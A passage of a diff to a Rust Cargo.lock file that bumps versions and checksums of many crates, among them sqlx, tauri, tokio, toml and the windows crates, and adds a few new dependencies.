"serde_with_macros", @@ -3072,14 +3116,14 @@ dependencies = [ [[package]] name = "serde_with_macros" -version = "3.3.0" +version = "3.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2e6be15c453eb305019bfa438b1593c731f36a289a7853f7707ee29e870b3b3c" +checksum = "dbff351eb4b33600a2e138dfa0b10b65a238ea8ff8fb2387c422c5022a3e8298" dependencies = [ "darling 0.20.3", "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] @@ -3104,7 +3148,7 @@ checksum = "91d129178576168c589c9ec973feedf7d3126c01ac2bf08795109aa35b69fb8f" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] @@ -3141,9 +3185,9 @@ dependencies = [ [[package]] name = "sha1" -version = "0.10.5" +version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f04293dc80c3993519f2d7f6f511707ee7094fe0c6d3406feb330cdb3540eba3" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" dependencies = [ "cfg-if", "cpufeatures", @@ -3152,9 +3196,9 @@ dependencies = [ [[package]] name = "sha2" -version = "0.10.7" +version = "0.10.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "479fb9d862239e610720565ca91403019f2f00410f1864c5aa7479b950a76ed8" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" dependencies = [ "cfg-if", "cpufeatures", @@ -3163,18 +3207,18 @@ dependencies = [ [[package]] name = "sharded-slab" -version = "0.1.4" +version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "900fba806f70c630b0a382d0d825e17a0f19fcd059a2ade1ff237bcddf446b31" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" dependencies = [ "lazy_static", ] [[package]] name = "signature" -version = "2.1.0" +version = "2.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e1788eed21689f9cf370582dfc467ef36ed9c707f073528ddafa8d83e3b8500" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" dependencies = [ "digest", "rand_core 0.6.4", @@ -3203,15 +3247,15 @@ dependencies = [ [[package]] name = "smallvec" -version = "1.11.0" +version = "1.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" [[package]] name = "socket2" -version = "0.5.3" +version = "0.5.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2538b18701741680e0322a2302176d3253a35388e2e62f172f64f4f16605f877" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" dependencies = [ "libc", "windows-sys 0.48.0", @@ -3262,9 +3306,9 @@ dependencies = [ [[package]] name = "spki" -version = "0.7.2" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d1e996ef02c474957d681f1b05213dfb0abab947b446a62d37770b23500184a" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" dependencies = [ "base64ct", "der", @@ -3272,20 +3316,20 @@ dependencies = [ [[package]] name = "sqlformat" -version = "0.2.1" +version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0c12bc9199d1db8234678b7051747c07f517cdcf019262d1847b94ec8b1aee3e" +checksum = "ce81b7bd7c4493975347ef60d8c7e8b742d4694f4c49f93e0a12ea263938176c" dependencies = [ - "itertools", + "itertools 0.12.0", "nom", "unicode_categories", ] [[package]] name = "sqlx" -version = "0.7.1" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e58421b6bc416714d5115a2ca953718f6c621a51b68e4f4922aea5a4391a721" +checksum = "dba03c279da73694ef99763320dea58b51095dfe87d001b1d4b5fe78ba8763cf" dependencies = [ "sqlx-core", "sqlx-macros", @@ -3296,9 +3340,9 @@ dependencies = [ [[package]] name = "sqlx-core" -version = "0.7.1" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd4cef4251aabbae751a3710927945901ee1d97ee96d757f6880ebb9a79bfd53" +checksum = "d84b0a3c3739e220d94b3239fd69fb1f74bc36e16643423bd99de3b43c21bfbd" dependencies = [ "ahash", "atoi", @@ -3316,7 +3360,7 @@ dependencies = [ "futures-util", "hashlink", "hex", - "indexmap 2.0.0", + "indexmap 2.1.0", "log", "memchr", "once_cell", @@ -3336,9 +3380,9 @@ dependencies = [ [[package]] name = "sqlx-macros" -version = "0.7.1" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "208e3165167afd7f3881b16c1ef3f2af69fa75980897aac8874a0696516d12c2" +checksum = "89961c00dc4d7dffb7aee214964b065072bff69e36ddb9e2c107541f75e4f2a5" dependencies = [ "proc-macro2", "quote", @@ -3349,10 +3393,11 @@ dependencies = [ [[package]] name = "sqlx-macros-core" -version = "0.7.1" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8a4a8336d278c62231d87f24e8a7a74898156e34c1c18942857be2acb29c7dfc" +checksum = "d0bd4519486723648186a08785143599760f7cc81c52334a55d6a83ea1e20841" dependencies = [ + "atomic-write-file", "dotenvy", "either", "heck 0.4.1", @@ -3374,13 +3419,13 @@ dependencies = [ [[package]] name = "sqlx-mysql" -version = "0.7.1" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ca69bf415b93b60b80dc8fda3cb4ef52b2336614d8da2de5456cc942a110482" +checksum = "e37195395df71fd068f6e2082247891bc11e3289624bbc776a0cdfa1ca7f1ea4" dependencies = [ "atoi", - "base64 0.21.2", - "bitflags 2.4.0", + "base64 0.21.7", + "bitflags 2.4.2", "byteorder", "bytes", "crc", @@ -3391,11 +3436,11 @@ dependencies = [ "futures-core", "futures-io", "futures-util", - "generic-array", + "generic-array 0.14.7", "hex", "hkdf", "hmac", - "itoa 1.0.9", + "itoa 1.0.10", "log", "md-5", "memchr", @@ -3416,13 +3461,13 @@ dependencies = [ [[package]] name = "sqlx-postgres" -version = "0.7.1" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a0db2df1b8731c3651e204629dd55e52adbae0462fa1bdcbed56a2302c18181e" +checksum = "d6ac0ac3b7ccd10cc96c7ab29791a7dd236bd94021f31eec7ba3d46a74aa1c24" dependencies = [ "atoi", - "base64 0.21.2", - "bitflags 2.4.0", + "base64 0.21.7", + "bitflags 2.4.2", "byteorder", "crc", "dotenvy", @@ -3435,7 +3480,7 @@ dependencies = [ "hkdf", "hmac", "home", - "itoa 1.0.9", + "itoa 1.0.10", "log", "md-5", "memchr", @@ -3455,9 +3500,9 @@ dependencies = [ [[package]] name = "sqlx-sqlite" -version = "0.7.1" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be4c21bf34c7cae5b283efb3ac1bcc7670df7561124dc2f8bdc0b59be40f79a2" +checksum = "210976b7d948c7ba9fced8ca835b11cbb2d677c59c79de41ac0d397e14547490" dependencies = [ "atoi", "flume", @@ -3473,6 +3518,7 @@ dependencies = [ "sqlx-core", "tracing", "url", + "urlencoding", ] [[package]] @@ -3518,10 +3564,11 @@ dependencies = [ [[package]] name = "stringprep" -version = "0.1.3" +version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "db3737bde7edce97102e0e2b15365bf7a20bfdb5f60f4f9e8d7004258a51a8da" +checksum = "bb41d74e231a107a1b4ee36bd1214b11285b77768d2e3824aedafa988fd36ee6" dependencies = [ + "finl_unicode", "unicode-bidi", "unicode-normalization", ] @@ -3560,9 +3607,9 @@ dependencies = [ [[package]] name = "syn" -version = "2.0.29" +version = "2.0.48" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c324c494eba9d92503e6f1ef2e6df781e78f6a7705a0202d9801b198807d518a" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" dependencies = [ "proc-macro2", "quote", @@ -3597,22 +3644,22 @@ dependencies = [ [[package]] name = "system-deps" -version = "6.1.1" +version = "6.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "30c2de8a4d8f4b823d634affc9cd2a74ec98c53a756f317e529a48046cbf71f3" +checksum = "2a2d580ff6a20c55dfb86be5f9c238f67835d0e81cbdea8bf5680e0897320331" dependencies = [ - "cfg-expr 0.15.4", + "cfg-expr 0.15.6", "heck 0.4.1", "pkg-config", - "toml 0.7.6", + "toml 0.8.8", "version-compare 0.1.1", ] [[package]] name = "tao" -version = "0.16.2" +version = "0.16.7" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a6d198e01085564cea63e976ad1566c1ba2c2e4cc79578e35d9f05521505e31" +checksum = "d22205b267a679ca1c590b9f178488d50981fc3e48a1b91641ae31593db875ce" dependencies = [ "bitflags 1.3.2", "cairo-rs", @@ -3679,15 +3726,15 @@ dependencies = [ [[package]] name = "target-lexicon" -version = "0.12.11" +version = "0.12.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d0e916b1148c8e263850e1ebcbd046f333e0683c724876bb0da63ea4373dc8a" +checksum = "69758bda2e78f098e4ccb393021a0963bb3442eac05f135c30f61b7370bbafae" [[package]] name = "tauri" -version = "1.4.1" +version = "1.5.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7fbe522898e35407a8e60dc3870f7579fea2fc262a6a6072eccdd37ae1e1d91e" +checksum = "fd27c04b9543776a972c86ccf70660b517ecabbeced9fb58d8b961a13ad129af" dependencies = [ "anyhow", "cocoa", @@ -3735,12 +3782,13 @@ dependencies = [ [[package]] name = "tauri-build" -version = "1.4.0" +version = "1.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d2edd6a259b5591c8efdeb9d5702cb53515b82a6affebd55c7fd6d3a27b7d1b" +checksum = "e9914a4715e0b75d9f387a285c7e26b5bbfeb1249ad9f842675a82481565c532" dependencies = [ "anyhow", "cargo_toml", + "dirs-next", "heck 0.4.1", "json-patch", "semver", @@ -3748,15 +3796,16 @@ dependencies = [ "serde_json", "tauri-utils", "tauri-winres", + "walkdir", ] [[package]] name = "tauri-codegen" -version = "1.4.0" +version = "1.4.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54ad2d49fdeab4a08717f5b49a163bdc72efc3b1950b6758245fcde79b645e1a" +checksum = "a1554c5857f65dbc377cefb6b97c8ac77b1cb2a90d30d3448114d5d6b48a77fc" dependencies = [ - "base64 0.21.2", + "base64 0.21.7", "brotli", "ico", "json-patch", @@ -3778,9 +3827,9 @@ dependencies = [ [[package]] name = "tauri-macros" -version = "1.4.0" +version = "1.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8eb12a2454e747896929338d93b0642144bb51e0dddbb36e579035731f0d76b7" +checksum = "277abf361a3a6993ec16bcbb179de0d6518009b851090a01adfea12ac89fa875" dependencies = [ "heck 0.4.1", "proc-macro2", @@ -3792,9 +3841,9 @@ dependencies = [ [[package]] name = "tauri-runtime" -version = "0.14.0" +version = "0.14.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "108683199cb18f96d2d4134187bb789964143c845d2d154848dda209191fd769" +checksum = "cf2d0652aa2891ff3e9caa2401405257ea29ab8372cce01f186a5825f1bd0e76" dependencies = [ "gtk", "http", @@ -3813,9 +3862,9 @@ dependencies = [ [[package]] name = "tauri-runtime-wry" -version = "0.14.0" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b7aa256a1407a3a091b5d843eccc1a5042289baf0a43d1179d9f0fcfea37c1b" +checksum = "6cae61fbc731f690a4899681c9052dde6d05b159b44563ace8186fc1bfb7d158" dependencies = [ "cocoa", "gtk", @@ -3833,9 +3882,9 @@ dependencies = [ [[package]] name = "tauri-utils" -version = "1.4.0" +version = "1.5.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "03fc02bb6072bb397e1d473c6f76c953cda48b4a2d0cce605df284aa74a12e84" +checksum = "ece74810b1d3d44f29f732a7ae09a63183d63949bbdd59c61f8ed2a1b70150db" dependencies = [ "brotli", "ctor", @@ -3845,9 +3894,10 @@ dependencies = [ "html5ever", "infer", "json-patch", - "kuchiki", + "kuchikiki", + "log", "memchr", - "phf 0.10.1", + "phf 0.11.2", "proc-macro2", "quote", "semver", @@ -3857,7 +3907,7 @@ dependencies = [ "thiserror", "url", "walkdir", - "windows 0.39.0", + "windows-version", ] [[package]] @@ -3867,20 +3917,20 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5993dc129e544393574288923d1ec447c857f3f644187f4fbf7d9a875fbfc4fb" dependencies = [ "embed-resource", - "toml 0.7.6", + "toml 0.7.8", ] [[package]] name = "tempfile" -version = "3.8.0" +version = "3.9.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb94d2f3cc536af71caac6b6fcebf65860b347e7ce0cc9ebe8f70d3e521054ef" +checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" dependencies = [ "cfg-if", "fastrand", - "redox_syscall 0.3.5", + "redox_syscall", "rustix", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -3902,22 +3952,22 @@ checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c" [[package]] name = "thiserror" -version = "1.0.47" +version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97a802ec30afc17eee47b2855fc72e0c4cd62be9b4efe6591edde0ec5bd68d8f" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" dependencies = [ "thiserror-impl", ] [[package]] name = "thiserror-impl" -version = "1.0.47" +version = "1.0.56" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6bb623b56e39ab7dcd4b1b98bb6c8f8d907ed255b18de254088016b27a8ee19b" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] @@ -3932,12 +3982,13 @@ dependencies = [ [[package]] name = "time" -version = "0.3.27" +version = "0.3.31" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0bb39ee79a6d8de55f48f2293a830e040392f1c5f16e336bdd1788cd0aadce07" +checksum = "f657ba42c3f86e7680e53c8cd3af8abbe56b5491790b46e22e19c0d57463583e" dependencies = [ "deranged", - "itoa 1.0.9", + "itoa 1.0.10", + "powerfmt", "serde", "time-core", "time-macros", @@ -3945,15 +3996,15 @@ dependencies = [ [[package]] name = "time-core" -version = "0.1.1" +version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7300fbefb4dadc1af235a9cef3737cea692a9d97e1b9cbcd4ebdae6f8868e6fb" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" [[package]] name = "time-macros" -version = "0.2.13" +version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "733d258752e9303d392b94b75230d07b0b9c489350c69b851fc6c065fde3e8f9" +checksum = "26197e33420244aeb70c3e8c78376ca46571bc4e701e4791c2cd9f57dcb3a43f" dependencies = [ "time-core", ] @@ -3985,9 +4036,9 @@ checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" [[package]] name = "tokio" -version = "1.32.0" +version = "1.35.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" +checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" dependencies = [ "backtrace", "bytes", @@ -4021,32 +4072,57 @@ dependencies = [ [[package]] name = "toml" -version = "0.7.6" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.19.15", +] + +[[package]] +name = "toml" +version = "0.8.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c17e963a819c331dcacd7ab957d80bc2b9a9c1e71c804826d2f283dd65306542" +checksum = "a1a195ec8c9da26928f773888e0742ca3ca1040c6cd859c919c9f59c1954ab35" dependencies = [ "serde", "serde_spanned", "toml_datetime", - "toml_edit", + "toml_edit 0.21.0", ] [[package]] name = "toml_datetime" -version = "0.6.3" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" dependencies = [ "serde", ] [[package]] name = "toml_edit" -version = "0.19.14" +version = "0.19.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8123f27e969974a3dfba720fdb560be359f57b44302d280ba72e76a74480e8a" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" dependencies = [ - "indexmap 2.0.0", + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34d383cd00a163b4a5b85053df514d45bc330f6de7737edfe0a93311d1eaa03" +dependencies = [ + "indexmap 2.1.0", "serde", "serde_spanned", "toml_datetime", @@ -4055,11 +4131,10 @@ dependencies = [ [[package]] name = "tracing" -version = "0.1.37" +version = "0.1.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" dependencies = [ - "cfg-if", "log", "pin-project-lite", "tracing-attributes", @@ -4068,20 +4143,20 @@ dependencies = [ [[package]] name = "tracing-attributes" -version = "0.1.26" +version = "0.1.27" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f4f31f56159e98206da9efd823404b79b6ef3143b4a7ab76e67b1751b25a4ab" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] name = "tracing-core" -version = "0.1.31" +version = "0.1.32" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0955b8137a1df6f1a2e9a37d8a6656291ff0297c1a97c24e0d8425fe2312f79a" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" dependencies = [ "once_cell", "valuable", @@ -4089,20 +4164,20 @@ dependencies = [ [[package]] name = "tracing-log" -version = "0.1.3" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "78ddad33d2d10b1ed7eb9d1f518a5674713876e97e5bb9b7345a7984fbb4f922" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" dependencies = [ - "lazy_static", "log", + "once_cell", "tracing-core", ] [[package]] name = "tracing-subscriber" -version = "0.3.17" +version = "0.3.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "30a651bc37f915e81f087d86e62a18eec5f79550c7faff886f7090b4ea757c77" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" dependencies = [ "matchers", "nu-ansi-term", @@ -4154,21 +4229,21 @@ dependencies = [ [[package]] name = "typenum" -version = "1.16.0" +version = "1.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" [[package]] name = "unicode-bidi" -version = "0.3.13" +version = "0.3.15" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" [[package]] name = "unicode-ident" -version = "1.0.11" +version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "301abaae475aa91687eb82514b328ab47a211a533026cb25fc3e519b86adfc3c" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" [[package]] name = "unicode-normalization" @@ -4203,9 +4278,9 @@ dependencies = [ [[package]] name = "url" -version = "2.4.0" +version = "2.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50bff7831e19200a85b17131d085c25d7811bc4e186efdaf54bbd132994a88cb" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" dependencies = [ "form_urlencoded", "idna", @@ -4214,6 +4289,12 @@ dependencies = [ ] [[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + +[[package]] name = "utf-8" version = "0.7.6" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4227,11 +4308,11 @@ checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" [[package]] name = "uuid" -version = "1.4.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "79daa5ed5740825c40b389c5e50312b9c86df53fccd33f281df655642b43869d" +checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" dependencies = [ - "getrandom 0.2.10", + "getrandom 0.2.12", ] [[package]] @@ -4307,9 +4388,9 @@ dependencies = [ [[package]] name = "walkdir" -version = "2.3.3" +version = "2.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36df944cda56c7d8d8b7496af378e6b16de9284591917d307c9b4d313c44e698" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" dependencies = [ "same-file", "winapi-util", @@ -4329,9 +4410,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.87" +version = "0.2.90" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7706a72ab36d8cb1f80ffbf0e071533974a60d0a308d01a5d0375bf60499a342" +checksum = "b1223296a201415c7fad14792dbefaace9bd52b62d33453ade1c5b5f07555406" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -4339,24 +4420,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.87" +version = "0.2.90" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ef2b6d3c510e9625e5fe6f509ab07d66a760f0885d858736483c32ed7809abd" +checksum = "fcdc935b63408d58a32f8cc9738a0bffd8f05cc7c002086c6ef20b7312ad9dcd" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-futures" -version = "0.4.37" +version = "0.4.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c02dbc21516f9f1f04f187958890d7e6026df8d16540b7ad9492bc34a67cea03" +checksum = "bde2032aeb86bdfaecc8b261eef3cba735cc426c1f3a3416d1e0791be95fc461" dependencies = [ "cfg-if", "js-sys", @@ -4366,9 +4447,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.87" +version = "0.2.90" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dee495e55982a3bd48105a7b947fd2a9b4a8ae3010041b9e0faab3f9cd028f1d" +checksum = "3e4c238561b2d428924c49815533a8b9121c664599558a5d9ec51f8a1740a999" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -4376,28 +4457,28 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.87" +version = "0.2.90" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "54681b18a46765f095758388f2d0cf16eb8d4169b639ab575a8f5693af210c7b" +checksum = "bae1abb6806dc1ad9e560ed242107c0f6c84335f1749dd4e8ddb012ebd5e25a7" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.87" +version = "0.2.90" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca6ad05a4870b2bf5fe995117d3728437bd27d7cd5f06f13c17443ef369775a1" +checksum = "4d91413b1c31d7539ba5ef2451af3f0b833a005eb27a631cec32bc0635a8602b" [[package]] name = "web-sys" -version = "0.3.64" +version = "0.3.67" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b85cbef8c220a6abc02aefd892dfc0fc23afb1c6a426316ec33253a3877249b" +checksum = "58cd2333b6e0be7a39605f0e255892fd7418a682d8da8fe042fe25128794d2ed" dependencies = [ "js-sys", "wasm-bindgen", @@ -4447,7 +4528,7 @@ dependencies = [ "pango-sys", "pkg-config", "soup2-sys", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -4512,9 +4593,9 @@ checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" [[package]] name = "winapi-util" -version = "0.1.5" +version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" dependencies = [ "winapi", ] @@ -4572,6 +4653,15 @@ dependencies = [ ] [[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] name = "windows-implement" version = "0.39.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4621,6 +4711,15 @@ dependencies = [ ] [[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] name = "windows-targets" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4651,12 +4750,36 @@ dependencies = [ ] [[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] name = "windows-tokens" version = "0.39.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f838de2fe15fe6bac988e74b798f26499a8b21a9d97edec321e79b28d1d7f597" [[package]] +name = "windows-version" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75aa004c988e080ad34aff5739c39d0312f4684699d6d71fc8a198d057b8b9b4" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] name = "windows_aarch64_gnullvm" version = "0.42.2" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4669,6 +4792,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] name = "windows_aarch64_msvc" version = "0.37.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4693,6 +4822,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] name = "windows_i686_gnu" version = "0.37.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4717,6 +4852,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] name = "windows_i686_msvc" version = "0.37.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -4741,6 +4882,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" 